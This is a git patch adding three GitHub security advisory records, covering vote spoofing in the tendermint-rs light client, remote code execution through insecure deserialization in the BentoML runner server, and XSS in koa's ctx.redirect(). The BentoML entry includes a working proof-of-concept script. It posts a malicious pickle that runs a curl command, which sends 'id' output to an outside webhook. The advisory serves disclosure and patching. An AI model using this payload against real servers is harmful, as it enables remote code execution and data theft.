From 12e9dd8f7556c8232144b0d715de9f9b764fed80 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 9 Apr 2025 13:01:54 +0000 Subject: [PATCH] Publish Advisories GHSA-6jrf-4jv4-r9mw GHSA-7v4r-c989-xh26 GHSA-x2rg-q646-7m2v --- .../GHSA-6jrf-4jv4-r9mw.json | 59 ++++++++++++++ .../GHSA-7v4r-c989-xh26.json | 57 +++++++++++++ .../GHSA-x2rg-q646-7m2v.json | 80 +++++++++++++++++++ 3 files changed, 196 insertions(+) create mode 100644 advisories/github-reviewed/2025/04/GHSA-6jrf-4jv4-r9mw/GHSA-6jrf-4jv4-r9mw.json create mode 100644 advisories/github-reviewed/2025/04/GHSA-7v4r-c989-xh26/GHSA-7v4r-c989-xh26.json create mode 100644 advisories/github-reviewed/2025/04/GHSA-x2rg-q646-7m2v/GHSA-x2rg-q646-7m2v.json diff --git a/advisories/github-reviewed/2025/04/GHSA-6jrf-4jv4-r9mw/GHSA-6jrf-4jv4-r9mw.json b/advisories/github-reviewed/2025/04/GHSA-6jrf-4jv4-r9mw/GHSA-6jrf-4jv4-r9mw.json new file mode 100644 index 00000000000..5397e007720 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-6jrf-4jv4-r9mw/GHSA-6jrf-4jv4-r9mw.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6jrf-4jv4-r9mw", + "modified": "2025-04-09T13:01:26Z", + "published": "2025-04-09T13:01:26Z", + "aliases": [], + "summary": "tendermint-rs's Light Client Verifier allows malicious validators to spoof votes from other validators ", + "details": "Name: ISA-2025-003: Malicious validator can spoof votes from other validators \nComponent: tendermint-rs\nCriticality: High (Catastrophic Impact; Rare Likelihood per [ACMv1.2](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md))\nAffected versions: <= v0.40.2\nAffected users: Everyone\n\n### Description\n\ntendermint-rs contains a critical vulnerability in its light client implementation due to insecure handling of corrupted validator sets. Because it doesn't check that the validator address is correctly derived from the validator's public key when counting votes, it is possible to spoof votes from other validators. The result is being able to construct the malicious block and cheat the light client. The light client will accept such a block, seemingly signed by 2/3+ majority.\n\n### Patches\n\nThe new tendermint-rs release [v0.40.3](https://github.com/informalsystems/tendermint-rs/releases/tag/v0.40.3) fixes this issue.\n\nUnreleased code in the main branch is patched as well.\n\n### Workarounds\n\nThere are no known workarounds for this issue.\n\n### Timeline\n\n* March 12, 2025, 13:41pm PST: Issue reported\n* March 12, 2025, 03:00am PST: Core team completes validation of issue\n\nThis issue was reported by Felix Wilhelm from [Asymmetric Research](https://www.asymmetric.re/).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "tendermint-light-client-verifier" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.40.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/informalsystems/tendermint-rs/security/advisories/GHSA-6jrf-4jv4-r9mw" + }, + { + "type": "WEB", + "url": "https://github.com/informalsystems/tendermint-rs/commit/1aabcfe6a3c0678db22097543f7f7a662f0db34b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/informalsystems/tendermint-rs" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-04-09T13:01:26Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/04/GHSA-7v4r-c989-xh26/GHSA-7v4r-c989-xh26.json b/advisories/github-reviewed/2025/04/GHSA-7v4r-c989-xh26/GHSA-7v4r-c989-xh26.json new file mode 100644 index 00000000000..cd3c89fb217 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-7v4r-c989-xh26/GHSA-7v4r-c989-xh26.json @@ -0,0 +1,57 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7v4r-c989-xh26", + "modified": "2025-04-09T12:59:45Z", + "published": "2025-04-09T12:59:45Z", + "aliases": [ + "CVE-2025-32375" + ], + "summary": "BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization", + "details": "### Summary\nThere was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.\n\n### PoC\n - First, create a file named **model.py** to create a simple model and save it\n```\nimport bentoml\nimport numpy as np\n\nclass mymodel:\n def predict(self, info):\n return np.abs(info)\n def __call__(self, info):\n return self.predict(info)\n\nmodel = mymodel()\nbentoml.picklable_model.save_model(\"mymodel\", model)\n```\n- Then run the following command to save this model\n```\npython3 model.py\n```\n- Next, create **bentofile.yaml** to build this model\n```\nservice: \"service.py\" \ndescription: \"A model serving service with BentoML\" \npython:\n packages:\n - bentoml\n - numpy\nmodels:\n - tag: MyModel:latest \ninclude:\n - \"*.py\" \n```\n- Then, create **service.py** to host this model\n```\nimport bentoml\nfrom bentoml.io import NumpyNdarray\nimport numpy as np\n\n\nmodel_runner = bentoml.picklable_model.get(\"mymodel:latest\").to_runner()\n\nsvc = bentoml.Service(\"myservice\", runners=[model_runner])\n\nasync def predict(input_data: np.ndarray):\n\n input_columns = np.split(input_data, input_data.shape[1], axis=1)\n result_generator = model_runner.async_run(input_columns, is_stream=True)\n async for result in result_generator:\n yield result\n```\n- Then, run the following commands to build and host this model\n```\nbentoml build\nbentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888\n```\n- Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.\n```\nimport requests\nimport pickle\n\nurl = \"http://0.0.0.0:8888/\"\n\nheaders = {\n \"args-number\": \"1\",\n \"Content-Type\": \"application/vnd.bentoml.pickled\",\n \"Payload-Container\": \"NdarrayContainer\", \n \"Payload-Meta\": '{\"format\": \"default\"}',\n \"Batch-Size\": \"-1\",\n}\n\nclass P:\n def __reduce__(self):\n return (__import__('os').system, ('curl -X POST -d \"$(id)\" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))\n\nresponse = requests.post(url, headers=headers, data=pickle.dumps(P()))\n\nprint(response)\n```\nAnd I can replace the **NdarrayContainer** with **PandasDataFrameContainer** in **Payload-Container** header and the exploit still working.\nAfter running **exploit.py** then the output of the command **id** will be send out to the WebHook server.\n\n### Root Cause Analysis:\n\n- When handling a request in BentoML runner server in `src/bentoml/_internal/server/runner_app.py`, when the request header `args-number` is equal to 1, it will call the function `_deserialize_single_param` like the code below:\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298\nasync def _request_handler(request: Request) -> Response:\n assert self._is_ready\n\n arg_num = int(request.headers[\"args-number\"])\n r_: bytes = await request.body()\n\n if arg_num == 1:\n params: Params[t.Any] = _deserialize_single_param(request, r_)\n```\n- Then this is the function of `_deserialize_single_param`, which will take the value of all request headers of `Payload-Container`, `Payload-Meta` and `Batch-Size` and the crafted into `Payload` class which will contain the data from `request.body`\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393\ndef _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:\n container = request.headers[\"Payload-Container\"]\n meta = json.loads(request.headers[\"Payload-Meta\"])\n batch_size = int(request.headers[\"Batch-Size\"])\n kwarg_name = request.headers.get(\"Kwarg-Name\")\n payload = Payload(\n data=bs,\n meta=meta,\n batch_size=batch_size,\n container=container,\n )\n if kwarg_name:\n d = {kwarg_name: payload}\n params: Params[t.Any] = Params(**d)\n else:\n params: Params[t.Any] = Params(payload)\n\n return params\n```\n- After crafting `Params` containing payload, it will call to function `infer` with `params` variable as input\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304\ntry:\n payload = await infer(params)\n```\n- Inside function `infer`, the `params` variable with is belong to class `Params` will call the function `map` of that class with `AutoContainer.from_payload` as a parameter.\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289\nasync def infer(params: Params[t.Any]) -> Payload:\n params = params.map(AutoContainer.from_payload)\n\n try:\n ret = await runner_method.async_run(\n *params.args, **params.kwargs\n )\n except Exception:\n traceback.print_exc()\n raise\n\n return AutoContainer.to_payload(ret, 0)\n```\n- Inside class `Params` define the function `map` which will call the `AutoContainer.from_payload` function with arguments, which are `data`, `meta`, `batch_size` and `container`\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66\ndef map(self, function: t.Callable[[T], To]) -> Params[To]:\n \"\"\"\n Apply a function to all the values in the Params and return a Params of the\n return values.\n \"\"\"\n args = tuple(function(a) for a in self.args)\n kwargs = {k: function(v) for k, v in self.kwargs.items()}\n return Params[To](*args, **kwargs)\n```\n- Inside class `AutoContainer` class have defined the function `from_payload` which will find the class by the `payload.container` , which is the value of header `Payload-Container`, and it will call the function `from_payload` from the chosen class as return value\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712\ndef from_payload(cls, payload: Payload) -> t.Any:\n container_cls = DataContainerRegistry.find_by_name(payload.container)\n return container_cls.from_payload(payload)\n```\nAnd if the attacker set value of header `Payload-Container` to `NdarrayContainer` or `PandasDataFrameContainer`, it will call `from_payload` and when it then check if the `payload.meta[\"format\"] == \"default\"` it will call `pickle.loads(payload.data)` and `payload.meta[\"format\"]` is the value of header `Payload-Meta` and the attacker can set it to `{\"format\": \"default\"}` and `payload.data` is the value of `request.body` which is the payload from malicious `class P` in my request, which will trigger `__reduce__` method and then execute arbitrary commands (for my example is the `curl` command)\n```\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416\ndef from_payload(\n cls,\n payload: Payload,\n) -> ext.PdDataFrame:\n if payload.meta[\"format\"] == \"default\":\n return pickle.loads(payload.data)\nhttps://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312\ndef from_payload(\n cls,\n payload: Payload,\n) -> ext.NpNDArray:\n format = payload.meta.get(\"format\", \"default\")\n if format == \"default\":\n return pickle.loads(payload.data)\n```\n### Impact\nIn the above Proof of Concept, I have shown how the attacker can execute command **id** and send the output of the command to the outside. By replacing **id** command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "bentoml" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0a1" + }, + { + "fixed": "1.4.8" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26" + }, + { + "type": "PACKAGE", + "url": "https://github.com/bentoml/BentoML" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-04-09T12:59:45Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/04/GHSA-x2rg-q646-7m2v/GHSA-x2rg-q646-7m2v.json b/advisories/github-reviewed/2025/04/GHSA-x2rg-q646-7m2v/GHSA-x2rg-q646-7m2v.json new file mode 100644 index 00000000000..d6f595bb100 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-x2rg-q646-7m2v/GHSA-x2rg-q646-7m2v.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-x2rg-q646-7m2v", + "modified": "2025-04-09T13:00:07Z", + "published": "2025-04-09T13:00:07Z", + "aliases": [ + "CVE-2025-32379" + ], + "summary": "Koajs vulnerable to Cross-Site Scripting (XSS) at ctx.redirect() function", + "details": "### Summary\nIn koa < 2.16.1 and < 3.0.0-alpha.5, passing untrusted user input to ctx.redirect() even after sanitizing it, may execute javascript code on the user who use the app.\n\n### Patches\nThis issue is patched in 2.16.1 and 3.0.0-alpha.5.\n\n### PoC\nhttps://gist.github.com/linhnph05/03d677b183636af206ff781bdd19701a\n\n### Impact\n1. Redirect user to another phishing site\n2. Make request to another endpoint of the application based on user's cookie\n3. Steal user's cookie", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "koa" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.16.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "koa" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0-alpha.1" + }, + { + "fixed": "3.0.0-alpha.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/koajs/koa/security/advisories/GHSA-x2rg-q646-7m2v" + }, + { + "type": "WEB", + "url": "https://github.com/koajs/koa/commit/ff25eb4a7f2392df46481fe86355161067687312" + }, + { + "type": "PACKAGE", + "url": "https://github.com/koajs/koa" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-04-09T13:00:07Z", + "nvd_published_at": null + } +} \ No newline at end of file